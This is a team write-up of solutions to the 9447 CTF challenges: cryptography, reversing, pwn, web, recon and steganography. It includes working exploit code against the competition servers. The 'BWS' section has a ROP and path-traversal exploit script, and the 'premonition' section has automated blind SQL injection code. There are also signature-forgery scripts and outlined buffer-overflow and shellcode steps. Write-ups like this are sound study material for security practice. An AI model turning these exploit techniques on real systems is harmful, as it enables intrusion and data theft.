Fibbed
This challenge was solved by and the write up was written by one of my teammates, NGG.
The task was to crack Diffie-Hellman key exchange protocol in a group where elements correspond to Fibonacci numbers.
The base element was the 2-by-2 matrix [[0,1],[1,1]]
, and the group was what this base generates over a finite field of a given prime order.
All elements of this group have the form [[a,b],[b,a+b]]
, so the public keys (the group elements) were represented by (a,b) pairs, the private keys were represented with the exponent.
I simply used the https://en.wikipedia.org/wiki/Baby-step_giant-step algorithm to compute the discrete logarithm of the server’s public keys.
I needed a hash table with 900 million elements in order to do so, and had to use 128-bit arithmetics for internal computations, but these are not a problem on x64 Linux if you have 64 GB RAM.
The program below used 49 GB RAM and ran for about 20 minutes on a single core.
After finding the private key of the server, the following python script printed the flag.
text = '59719af4dbb78be07d0398711c0607916dd59bfa57b297cd220b9d2d7d217f278db6adca88c9802098ba704a18cce7dd0124f8ce492b39b64ced0843862ac2a6'
p = 981725946171163877
server_secret = 173288873*900000000+31300133
client_public = (453665378628814896,152333692332446539)
print decrypt(text, str(calcM(p, server_secret, client_public)))
#include <unordered_map>
#include <utility>
#include <iostream>
using namespace std;
typedef long long ll;
typedef __int128 lll;
typedef pair<ll,ll> pll;
const ll P = 981725946171163877LL;
void mul(pll& a, const pll& b)
{
ll t = a.first;
a.first = (ll)(((lll)a.first*(lll)b.first + (lll)a.second*(lll)b.second)%(lll)P);
a.second = (ll)(((lll)t*(lll)b.second + (lll)a.second*((lll)b.second+(lll)b.first))%(lll)P);
}
namespace std {
template <> struct hash<pll> {
size_t operator()(const pll& x) const {
return (x.first * 0x1f1f1f1f1f1f1f1fLL) ^ x.second;
}
};
};
int main(void)
{
const pll a {0,1};
const pll b {58449491987662952LL,704965025359609904LL};
const int m = 900000000;
const pll ainvm {725806600419337472LL,354774678182469598LL}; // This is a**(-m)
unordered_map<pll, int> jmap;
jmap.reserve(m);
pll aj {1,0};
int cnt = 0;
for (int j = 0; j < m; j++) {
if (cnt == 0) { cerr << "."; cnt = 10000000; } else cnt--;
jmap.insert(std::make_pair(aj, j));
mul(aj, a);
}
cout << "P2 " << jmap.size() << endl;
pll ls = b;
cnt = 0;
for (ll i = 0; i < 1100000000LL; i++) {
if (cnt == 0) { cerr << "."; cnt = 10000000; } else cnt--;
auto it = jmap.find(ls);
if (it != jmap.end()) {
cout << endl;
cout << "i=" << i << endl;
cout << "m=" << m << endl;
cout << "ls=" << ls.first << "," << ls.second << endl;
cout << "j=" << it->second << endl;
}
mul(ls, ainvm);
}
return 0;
}
The flag was:
9447{Pisan0_mU5t_nEv3r_hAve_THougHt_0f_bruTe_f0rce5}
randBox
This challenge was solved by and the write up was written by one of my teammates, nguyen.
There are 10 rounds, some round did manually, ex: round1 is rot-N subs ; round2 is a tranposition ; round3->5 can be cracked using round1 approach; …
The flag was
9447{crYpt0_m4y_n0T_Be_S0_haRD}
dub-key
This challenge was solved by and the write up was written by one of my teammates, NGG.
This code cracks the signature scheme:
import base64
from fractions import gcd
from pwn import *
import traceback
import hashlib
def solve():
with remote('dub-key-t8xd5pn6.9447.plumbing', 9447) as r:
s = r.recv(12)
print 'SHA'
for i in xrange(10000000, 100000000):
ss = s + str(i)
if hashlib.sha1(ss).digest().endswith('\x00\x00\x00'):
break
print 'SHAOK'
r.send(ss)
r.recvline()
tosign = map(ord, base64.b64decode(r.recv(172)))
print 'TOSIGN', tosign
for i in xrange(128):
if tosign[i] == i+128:
for j in xrange(128):
if i == j:
continue
if tosign[j] == i+128:
break
else:
break
else:
assert(False)
print 'I', i
g = None
for j in xrange(50):
r.recvline()
r.recvline()
r.recvline()
r.sendline('1')
r.send(base64.b64encode(''.join(map(chr, tosign[:i] + [j] + tosign[i+1:]))))
line = r.recvline()
print 'LINE', line
x = int(line)
if j == 0:
g = x
else:
g = gcd(g, x)
r.sendline('2')
x = str(g)
assert(len(x) <= 620)
x = x + ' '*(620-len(x))
r.send(x)
print r.recvall()
while True:
try:
solve()
break
except:
traceback.print_exc()
The flag was:
9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG}
wob-key & wob-key-hard
This challenge was solved by and the write up was written by one of my teammates, NGG.
After a few hours of trial and failure, I came up with the following solution:
import base64
from fractions import gcd
from pwn import *
import traceback
import random
import hashlib
import os
def cycleLen(data, place):
seen = {};
count = 0;
while not place in seen:
seen[place] = 1;
count += 1;
place = data[place];
return count;
def realSign(data):
res = 1;
for i in range(256):
res *= cycleLen(data, i);
return res;
def solve():
with remote('wob-key-e1g2l93c.9447.plumbing', 9447) as r:
ats = [129+i for i in xrange(126)] + [254]
bts = [128] + [128+i for i in xrange(126)]
cts = [128+i for i in xrange(128)]
dts = [[i for i in xrange(128)], [127-i for i in xrange(128)], [(i+50)%128 for i in xrange(128)]]
for i in xrange(10):
dts.append(map(ord, os.urandom(128)))
s = r.recv(12)
print 'SHA'
for i in xrange(10000000, 100000000):
ss = s + str(i)
if hashlib.sha1(ss).digest().endswith('\x00\x00\x00'):
break
print 'SHAOK'
r.send(ss)
def sign(data):
r.recvline()
r.recvline()
r.recvline()
r.sendline('1')
r.send(base64.b64encode(''.join(map(chr, data))))
line = r.recvline().strip()
print 'LINE', line
return int(line)
c1 = sign(cts)
cts[191-128] = 255
cts[255-128] = 191
c2 = sign(cts)
print 'C1', c1
print 'C2', c2
assert(4*c1 == c2)
d = []
for dtss in dts:
d.append(sign(dtss))
print 'D', d
a = sign(ats + [255])
print 'A', a
b = sign(bts + [255])
print 'B', b
al = []
bl = []
sec = []
for i in xrange(128):
print i
al.append(sign(ats + [i]))
bl.append(sign(bts + [i]))
assert(al[i]%a == 0)
assert(bl[i]%b == 0)
ad = al[i]//a - 1
bd = bl[i]//b - 1
assert(ad != bd)
assert((ad+bd-(255-127))%2 == 0)
assert((bd-ad+(255+127))%2 == 0)
assert(((bd-ad+(255+127))//2) >= 128)
assert(((bd-ad+(255+127))//2) < 256)
print 'PAIR', ((ad+bd-(255-127))//2, (bd-ad+(255+127))//2)
sec.append((int((ad+bd-(255-127))//2), int((bd-ad+(255+127))//2)))
print 'AL', al
print 'BL', bl
print 'SEC', sec
psk = [None]*128
db = 1
for x in xrange(1, 500):
for i in xrange(128):
if sec[i][0] == x:
if x == 1:
psk[i] = [sec[i][1]]
else:
psk[i] = []
for j in xrange(128):
if sec[j][0] == x-1 and sec[j][1] == sec[i][1]:
psk[i].append(j)
assert(len(psk[i]) > 0)
db *= len(psk[i])
for i in xrange(128):
assert(psk[i] is not None)
print 'DB', db
assert(db < 100000)
for i in xrange(1000000000):
if i%1000 == 0:
print 'N',
secret = map(lambda p: random.choice(p), psk)
assert(a == realSign(secret + ats + [255]))
assert(b == realSign(secret + bts + [255]))
for di in xrange(len(dts)):
myd = realSign(secret + dts[di])
if d[di] != myd:
break
else:
break
for i in xrange(128):
assert(al[i] == realSign(secret + ats + [i]))
assert(bl[i] == realSign(secret + bts + [i]))
print 'L1', r.recvline().strip()
print 'L2', r.recvline().strip()
print 'L3', r.recvline().strip()
r.sendline('2')
for i in xrange(17):
print 'L4', r.recvline().strip()
line = r.recvline().strip()
print 'CHECK', line
ts = map(ord, base64.b64decode(line))
assert(len(ts) == 128)
s = realSign(secret + ts)
print 'SIGN', s
x = str(s)
assert(len(x) <= 620)
x = x + ' '*(620-len(x))
print 'X', x
r.send(x)
print r.recvall()
while True:
try:
solve()
break
except:
traceback.print_exc()
The flags were:
9447{S1gning_15_HaRD_0Bvi0Usly}
9447{Alth0ugh_be1Ng_sm4rt_iS_eVen_b3tter}
calcpop
This challenge was solved by and the write up was written by one of my teammates, nguyen.
It was a simple buffer overflow vulnerability.
The flag was
9447{shELl_i5_easIEr_thaN_ca1c}
calpop reloaded
This challenge was solved by and the write up was written by one of my teammates, nguyen.
Steps to solve the challenge:
- set environment for calc_reloaded with RedOS package
- got EIP control and arbitrary code execution in calc_reloaded
- make shellcode for this OS
- use getdirent syscall to find that out name of flag file
Mes5 wi+h the b3st, d1e l1k3 the rest
The flag was
9447{th1s_O5_is_a_gl0rifi3d_c4lculat0r}
cards
This challenge was solved by and the write up was written by one of my teammates, nguyen.
Steps to solve the challenge:
- get .text address in stack after play game
- send payload to leak one of these address
- send payload to corrupt return address in stack
- make it to return to printFlag
The flag was
9447{ThE_Only_w1nn1Ng_M0ve_1S_t0_stEAl_The_flAg}
BWS
This challenge was solved by and the write up was written by one of my teammates, nguyen.
The vulnerability was in the URL parsing function. If you passed /../ as an URL it could read before the output buffer until the next “/” character.
The exploit code was:
from pwn import *
context.arch = 'amd64'
#pwn
r = remote('bws-ad8sfsklw.9447.plumbing', 80)
#r = remote('localhost', 33000)
raw_input('attach')
# stage 1 : prepare 0x2f
payload = ''
payload += 'GET '
payload += '/'*200
payload += ' HTTP/1.1\r\n\r\n'
r.send( payload )
print r.recv(8192)
# stage 2 : start ROP
payload = ''
payload += 'GET /../'
payload += 'A'*8
payload += 'B'*8
payload += 'C'*8
payload += 'D'*8
payload += 'E'*8
payload += 'F'*8
payload += 'G'*8
payload += 'H'*8
payload += 'I'*8
payload += '1234\x39\x0f\x408' # magic lifting!!
payload += 'kkk'
payload += pack(0x00000d6666666666)
payload += pack(0)
payload += '1'*8
payload += '22222'
'''
pattern 5fc3 found at 0x401323
POP RDI; RET;
pattern 5e415fc3 found at 0x401321
POP RSI; POP R15; RET;
'''
RDIRET = 0x401323
RSIR15RET = 0x401321
FILEBUF = 0x612010
READ = 0x400ae0 # buf, size
PRINT = 0x40115e # -
# READ(&filebuf, 0x30) -> PRINT FILE.
#payload += pack(RDIRET)
#payload += pack(FILEBUF) # rdi
#payload += pack(RSIR15RET)
#payload += pack(0x30) # rsi
#payload += pack(READ)
#payload += pack(RDIRET)
#payload += pack(FILEBUF)
payload += pack(PRINT)
payload += '/../flag.txt\x00'
payload += ' HTTP/1.1\r\n\r\n'
r.send( payload )
# get flag.
print r.recv(8192)
print r.recv(8192)
print r.recv(8192)
#r.interactive()
Running it on the real server gave us the flag:
Accept-Ranges: bytes
Connection: close
9447{1_h0pe_you_L1ked_our_w3b_p4ge}
*** stack smashing detected ***: /ho
Get help
The flag was in the topic of the official 9447 CTF IRC channel #9447ctf on freenode:
9447{Ask_for_help_here}
4w1h
We had to find a few locations by their Google Street View images. After finding the exact locations, we had to collect the directions where the little man looked.
These are the URL of the Google Street View images and directions which gave us the flag (the text of the URLs are places which they depict or which could be identified the easiest):
- 0: NW - Christ the Redeemer, Rio de Janeiro, Brazil
- 1: S - Marina Bay Sands, Singapore
- 2: N - Sydney Harbour Bridge, Sydney, Australia
- 3: SE - Niagara Falls, US
- 4: W - Washington Monument, Washington, US
- 5: NE - Louvre Pyramid, Paris, France
- 6: NW - Winter Palace, St Petersburg, Russia
- 7: W - Cloud Gate, Chicago, US
- 8: N - Gyeongbokgung Palace, Seoul, South Korea - this was a bit hard as the Google Street View image is from 2008 and meanwhile the palace was rebuilt
- 9: S - South Pole :)
The flag was:
9447{NWSNSEWNENWWNS}
Recon 1
This challenge was solved by and the write up was written by one of my teammates, nguyen.
Steps to solve the challenge:
- analyze log.txt: 192.241.254.77
- nslookup 192.241.254.77 -> http://www.williestoleyour.pw
- https://web.archive.org/web/20151115002534/http://www.williestoleyour.pw/ : “mail me at [email protected]”
- flag is at http://dynamiclock.pw:
In the meantime, have a flag: 9447{YouAreStalKey}
Recon 2
This challenge was solved by and the write up was written by one of my teammates, nguyen.
Steps to solve the challenge:
- from
(host @162.243.7.88): http://162.243.7.88/dynamicWarl0ck.vcf - EMAIL:[email protected] -> https://github.com/dynamicWarl0ck
- Github: “moved to bitbucket”
- Review bitbucket commits, find this: https://bitbucket.org/dynamicWarl0ck/dynamics/commits/1afc142f9f9d847f52c99049bbb37ad558b3c81b
The flag was:
9447{william.clutterbuck}
flag finder
This challenge was solved by and the write up was written by one of my teammates, nguyen.
Simple: run it!
The flag was:
9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_H4LT1N6_prObL3M_n1c3_}
The real flag finder
This challenge was solved by and the write up was written by one of my teammates, nguyen.
Lot of math stuff, it will give the flag - lol NOT :)
Steps to solve the challenge:
- just start gdb
- run the program
- put a breakpoint where it writes that you lost
- read the flag from the memory (it stores it and compares it with your input)
The flag was:
9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}
danklang
This challenge was solved by and the write up was written by one of my teammates, VEK.
The code first had to be converted to some real language like python.
After this, it was still slow and ate a lot of memory, so it had to be optimized.
I wrote a C++ version that replaced the recursions with dynamic programming:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <gmpxx.h>
#define N 13380000
using namespace std;
bool prime (unsigned num, unsigned whatever)
{
for (unsigned i=2; i*i<=num; ++i)
{
if (num%i == 0)
return false;
}
return true;
}
mpz_class bill (int memes);
mpz_class such (int memes);
mpz_class ef[N];
mpz_class epicfail (int memes)
{
if (memes < 0)
return 0;
return ef[memes];
}
void epicfail_fill (unsigned memes)
{
if (ef[memes] != -1)
return;
mpz_class wow = 0;
bool dank = true;
if (memes > 1)
{
dank = prime (memes, 2);
if (dank)
wow = bill (memes - 1) + 1;
else
wow = such (memes - 1);
}
ef[memes] = wow;
}
mpz_class dd[N][6];
mpz_class dootdoot (int memes, unsigned seals)
{
if (memes < 0)
return 0;
return dd[memes][seals];
}
void dootdoot_fill (unsigned memes, unsigned seals)
{
if (dd[memes][seals] != -1)
return;
mpz_class doritos = 0;
if (seals <= memes)
{
if (seals == 0)
doritos = 1;
else
{
if (seals == memes)
doritos = 1;
else
{
doritos = dootdoot (memes-1, seals-1);
doritos = dootdoot (memes - 1, seals) + doritos;
}
}
}
dd[memes][seals] = doritos;
}
mpz_class bm[N];
mpz_class brotherman (int memes)
{
if (memes < 0)
return 0;
return bm[memes];
}
void brotherman_fill (unsigned memes)
{
if (bm[memes] != -1)
return;
mpz_class hues = 0;
if (memes != 0)
{
if (memes < 3)
hues = 1;
else
{
hues = brotherman(memes - 1);
hues = brotherman(memes - 2) + hues;
}
}
hues = hues % mpz_class (987654321);
bm[memes] = hues;
}
mpz_class s[N];
mpz_class such (int memes)
{
if (memes < 0)
return 0;
return s[memes];
}
void such_fill (unsigned memes)
{
if (s[memes] != -1)
return;
mpz_class wow = dootdoot (memes, 5);
mpz_class wew;
if (wow % 7 == 0)
{
wew = bill (memes - 1);
wow = wow + 1;
}
else
wew = epicfail (memes - 1);
wow = wew + wow;
s[memes] = wow;
}
mpz_class bi[N];
mpz_class bill (int memes)
{
if (memes < 0)
return 0;
return bi[memes];
}
void bill_fill (unsigned memes)
{
if (bi[memes] != -1)
return;
mpz_class wow = brotherman (memes);
mpz_class wew;
if (wow % 3 == 0)
{
wew = such (memes - 1);
wow = wow + 1;
}
else
wew = epicfail (memes - 1);
wow = wew + wow;
bi[memes] = wow;
}
int main (int argc, char **argv)
{
for (unsigned i = 0; i < N; ++i)
{
ef[i] = -1;
for (unsigned j = 0; j < 6; ++j)
dd[i][j] = -1;
s[i] = -1;
bm[i] = -1;
bi[i] = -1;
}
for (unsigned i = 0; i < N; ++i)
for (unsigned j = 0; j < 6; ++j)
dootdoot_fill (i, j);
for (unsigned i = 0; i < N; ++i)
{
brotherman_fill (i);
epicfail_fill (i);
bill_fill (i);
such_fill (i);
}
cout << epicfail (13379447) << endl;
return 0;
}
Hello, Joe
This challenge was solved by and the write up was written by one of my teammates, nguyen.
In ctf, many team solved it fast, maybe not too hard, so i decompile code and get it fast:
9447{94ea5e32f2b5b37d947eea3a38932ae1}
imaged
This challenge was solved by and the write up was written by one of my teammates, nguyen.
Flag is the CRC of the first 7 chunks:
9447{Steg0_redunDaNcy_CHeck}
binned
This challenge was solved by and the write up was written by one of my teammates, nguyen.
Flag is the id of syscalls executed:
fork getpeername getpeername getsockopt setfsgid shmdt getgid getsockname sysinfo geteuid umask shutdown setresuid rmdir umask ftruncate getpgid umask shmdt getpeername bind bind setuid getdents syslog umask shmdt shutdown times msgsnd capget
The flag was:
9447{Ch3ck_0uT_My_C411iNg_C0dE}
gife up now
This was an animgif with a lot of QR codes.
The QR codes contained words multiple times.
The occurence count of the words gave us the following sequence:
1,4,3,4,4,4,1,4,3,4,3,4,4,4,1,4,3,4,4,4,1,4,5,4,4,4
The QR code text contained the hint for the challenge:
two parts, all lower, add 9447{ to start and } to the end, first looks like “7do”, cut off 450ms, second like https://www.youtube.com/watch?v=5xxTkB5bGy4 like faucet script
The delay between some frames was 400ms, and 500ms for others. Interpreting this as morse code (500ms = -, 400ms = .) gives us this sequence:
-..-----...-..--------...-..-----...-..-----...-..--------...-..--------...-..--------...
Although we did not know where were the pauses, we could use the fact from the hint that the alphabet only contained “7do” characters.
7 = −−•••
d = −••
o = −−−
This gave us the following form:
-.. --- --... -.. --- --- --... -.. --- --... -.. --- --... -.. --- --- --... -.. --- --- --... -.. --- --- --...
Which was translated to ASCII from morse:
DO7DOO7DO7DO7DOO7DOO7DOO7
The second part of the hint suggested that we should use Tap code:
. .... ... .... .... .... . .... ... .... ... .... .... .... . .... ... .... .... .... . .... ..... .... .... ....
Which translates to:
dotdootdotdyt
The final flag was:
9447{do7doo7do7do7doo7doo7doo7dotdootdotdyt}
sanutf8y_check
The challenge description gave us the following website: http://sanutf8y-check-n2wisexx.9447.plumbing which contained the flag with unicode characters. Writing them down with normal ASCII characters gave us the flag the scoreboard accepted.
YWS
Sending GET /.. HTTP/1.1
with nc listed the file names from the parent directory (outside files), and one of the directory names was the flag.
premonition
The vulnerability was an SQL injection in the operator string.
Error text leaked, from which I saw spaces were removed (also I had to send a valid user-agent).
I solved the problem with a boolean-based technique (it could be solved much easier though). First I get the table names and found the s3ekr17_passwords
table.
Then requested the contents of it. It was an (userid, password) tuple, where the password was only one character from the flag and the userid was the position of the character in the string.
A part of my solver code:
var http = new HttpClient { BeforeRequest = req => req.UserAgent = "Mozilla/5.0" };
Func<string, bool> sqli = query =>
{
var resp = http.Req("http://premonition-p8l05mpz.9447.plumbing:9447/score", "score=0&ineq=<(?)or(" + query + ")--").AsString;
if (resp == "[]\n")
return false;
else if (resp.StartsWith("[[\"Xavier\", "))
return true;
else
throw new Exception("SQL error: " + resp);
};
//var tableNames = BinarySearchUtils.BinarySearchText((idx, num) => sqli("SELECT(unicode(substr(name," + (idx + 1) + ",1))<" + num + ")FROM(sqlite_master)LIMIT(1)"));
//var rowCount = BinarySearchUtils.BinarySearchNum(i => sqli("SELECT(count(*)<" + i + ")FROM(s3ekr17_passwords)"), 0, 50);
for (int userId = 0; userId < 45; userId++)
{
var leak = BinarySearchUtils.BinarySearchText((idx, num) => sqli("SELECT(unicode(substr(userid||'|'||password," + (idx + 1) + ",1))<" + num + ")FROM(s3ekr17_passwords)LIMIT(" + userId + "),(1)"));
Console.WriteLine("User #" + userId + ": " + leak);
File.AppendAllText("leak.txt", leak + "\r\n");
}
nicklesndimes
The website used the same framework as the CTF, where I could reset the admin’s password, and whitelist my IP address with the code found in the main javascript file of the site (although I had to log in with an other user to make this work).